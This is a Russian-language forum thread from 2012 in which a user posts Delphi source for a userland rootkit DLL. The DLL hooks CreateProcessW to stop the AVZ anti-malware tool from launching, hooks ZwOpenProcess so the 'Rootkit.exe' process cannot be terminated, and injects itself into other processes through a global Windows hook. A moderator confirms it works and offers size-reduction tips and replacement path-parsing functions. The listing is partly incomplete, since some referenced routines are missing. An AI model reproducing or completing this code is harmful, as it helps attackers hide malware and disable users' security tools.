Дата: Воскресенье, 10.06.2012, 15:51 | Сообщение # 1
Постоянный
Зарегистрирован: 15.01.2012
Группа: Пользователи
Сообщений: 124
Статус: Offline
вот нашел статью на сайте https://delfcode.ru/publ/delphi/delphivir/pishem_prostoj_rootkit_na_delphi_7/1-1-0-126 но там полно ошибок и нехватает модулей
вот решил исправить все ошибки и добавить модули
Code
library HOOK;
uses
windows,
SysUtils,advApiHook;
type
NTStatus = cardinal;
far_jmp = packed record
push:byte;
PProc:pointer;
ret:byte;
end;
function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else
Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment,
lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
ClientID:PClientID):NTStatus;stdcall;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;
Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
ClientID:PClientID):NTStatus;stdcall;
begin
if (ClientID<>nil) and (ClientID.UniqueProcess=pid) then
begin
Result:=STATUS_ACCESS_DENIED;
exit;
end;
Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
end;
procedure GetPID;
begin
pid:= GetProcessID('Rootkit.exe');
end;
function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0,code,wParam,lParam);
end;
procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE)
end;
procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, '[{ADA5458-6AB8-7C4D-88BA-44A06478C676}]');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
else
CloseHandle(hMutex)
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
GetPID;
SetHook;
SetGlobalHook;
end;
DLL_PROCESS_DETACH: begin
UnHook;
end;
end;
end;
begin
DllProc:= @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Дата: Воскресенье, 10.06.2012, 19:05 | Сообщение # 2
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Нужно избавиться от модуля SysUtils, тогда рамер dll'ки уменьшится в 2 раза. В коде импортируется одна функа из модуля: ExtractFileName её либо перетащить от туда, либо написать свою.
Дата: Воскресенье, 10.06.2012, 19:53 | Сообщение # 5
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Да. Она делает так, что нельзя завершить процесс. Только что проверил. И вот еще что. Почему-то не отброжается от какого пользователя была запущена прога. Видимо баг, а так ваще хз.
Сообщение отредактировал Волк-1024 - Воскресенье, 10.06.2012, 19:55
Дата: Воскресенье, 10.06.2012, 21:17 | Сообщение # 8
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Вот реализация ExtractFileName. Правда, кривовата, но работает.
Code
function ExtractFileName(Path: PChar): PChar;
var
Ch: Char;
ResStr: PChar;
PathLength, ResLen: integer;
begin
Result:=nil;
ResStr:=Path;
PathLength:=LStrLen(Path);
for ResLen:=1 to PathLength do
begin
Ch:=ResStr[PathLength-2]; {Почему-то без PathLength-2 правильно не работает}
if (Ch='\') or (Ch='/') then
begin
Result:=PChar(Copy(ResStr, PathLength, ResLen));
Exit;
end;
Dec(PathLength);
end;
end;
Сообщение отредактировал Волк-1024 - Воскресенье, 10.06.2012, 21:28
Дата: Понедельник, 11.06.2012, 00:33 | Сообщение # 9
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Вот переработал + еще от нефиг делать накодил:
Code
function GetLastPosDivider(const Str: string): Integer;
var
StrLen, B, E: Integer;
begin
Result:=0;
StrLen:=LStrLen(PChar(Str));
B:=StrLen;
for E:=0 to StrLen do
begin
if (Str[B]='\') or (Str[B]='/') then
begin
Result:=(StrLen-E);
Exit;
end;
Dec(B);
end;
end;
function GetFirstPosDivider(const Str: string): Integer;
var
StrLen, B: Integer;
begin
Result:=0;
StrLen:=LStrLen(PChar(Str));
for B:=0 to StrLen do
begin
if (Str[B]='\') or (Str[B]='/') then
begin
Result:=B;
Exit;
end;
end;
end;
function ExtractDriveName(const Path: string): string;
var
FirstDivider: Integer;
begin
FirstDivider:=GetFirstPosDivider(Path);
if FirstDivider<>0 then
Result:=Copy(Path, 0, FirstDivider);
end;
function ExtractFilePath(const Path: string): string;
var
LastDivider: Integer;
begin
LastDivider:=GetLastPosDivider(Path);
if LastDivider<>0 then
Result:=Copy(Path, 1, LastDivider);
end;
function ExtractFileName(const Path: string): string;
var
LastDivider: Integer;
begin
LastDivider:=GetLastPosDivider(Path);
if LastDivider<>0 then
Result:=Copy(Path, LastDivider+1, MaxInt);
end;
function ExtractFileDir(const Path: string): string;
var
LastDivider: Integer;
begin
LastDivider:=GetLastPosDivider(Path);
if LastDivider<>0 then
Result:=Copy(Path, 0, LastDivider-1);
end;
Сообщение отредактировал Волк-1024 - Понедельник, 11.06.2012, 00:35
